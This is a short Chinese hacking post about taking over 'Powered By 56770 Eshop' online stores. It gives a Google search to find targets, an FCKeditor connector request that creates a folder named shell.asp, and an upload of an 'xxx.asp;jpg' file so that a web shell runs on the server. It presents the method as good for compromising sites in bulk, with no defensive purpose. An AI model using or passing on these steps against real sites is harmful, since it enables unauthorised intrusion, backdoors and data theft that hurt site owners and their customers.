乐彼多语言网店通杀拿shell

　　很老的一个0day了，但是以前给的利用方法是不正确，导致很多同学无法建立shell.asp目录，因此好多网站没被万人轮。

　　下面就把正确的方法公布一下

　　利用方法

　　Google搜索：Powered By 56770 Eshop

　　搜索 Powered By 56770 Eshop 获得约 43,700 条结果

　　随便找一个网站

　　1.在网站地址后面添加

　　admin/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=../../connectors/asp/connector.asp

　　2.在根目录后添加 admin/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

　　创一个目录 为shell.asp

　　3.上传一个 xxx.asp;jpg 然后连接 http://xxx.com/pic/UserFiles/file/shell.asp/xxx.asp;jpg 拿shell

　　没什么技术含量，不过批量拿站还是不错的。

　　===============================================

　　建议大家不要再去玩这个洞了，基本上都被搞过了，不是处的没意思，大部分都是万人轮的。